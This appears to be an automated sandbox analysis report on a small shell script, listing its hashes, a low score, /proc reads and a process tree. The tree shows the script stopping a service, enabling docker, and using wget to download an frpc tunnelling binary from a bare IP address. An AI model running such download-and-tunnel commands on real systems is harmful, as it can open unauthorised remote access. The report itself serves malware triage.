388d1afc89bda87afdb749c17cd8d22b5c48179505c071dc73bae6aea7c6b6c1 | Triage

Analysis

max time kernel
131s
max time network
151s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240508-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
23/05/2024, 12:51

Sharing

Report Analysis Logs

General

Target

install_231224.sh
Size

1KB
MD5

74a0c38c9ce280314f8bc49209aabc69
SHA1

629f482dcf8d177a9390af86f864b696fe2f620f
SHA256

388d1afc89bda87afdb749c17cd8d22b5c48179505c071dc73bae6aea7c6b6c1
SHA512

fc55b2f4b5f235bc0ae0b9171700f7d1bcd206736c14821aeba96a4ff7bc44c70dc5639f6f14f2f87251bef5a6f965e3c994b26ced6b2942dc4c8bad480071c8

Score

3^/10

Malware Config

Signatures

Reads runtime system information 18 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/sys/kernel/osrelease	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/sys/kernel/osrelease	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/sys/kernel/osrelease	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/1/sched	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/1/sched	systemctl
File opened for reading	/proc/1/sched	systemctl

/tmp/install_231224.sh
/tmp/install_231224.sh
1⤵
PID:1484
- /bin/systemctl
  systemctl stop runningvps
  2⤵
  - Reads runtime system information
  PID:1485
- /bin/systemctl
  systemctl restart docker
  2⤵
  - Reads runtime system information
  PID:1490
- /bin/systemctl
  systemctl enable docker
  2⤵
  - Reads runtime system information
  PID:1491
- /usr/bin/wget
  wget http://8.134.107.247/frp_0.51.2_linux_amd64/frpc
  2⤵
  PID:1499

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads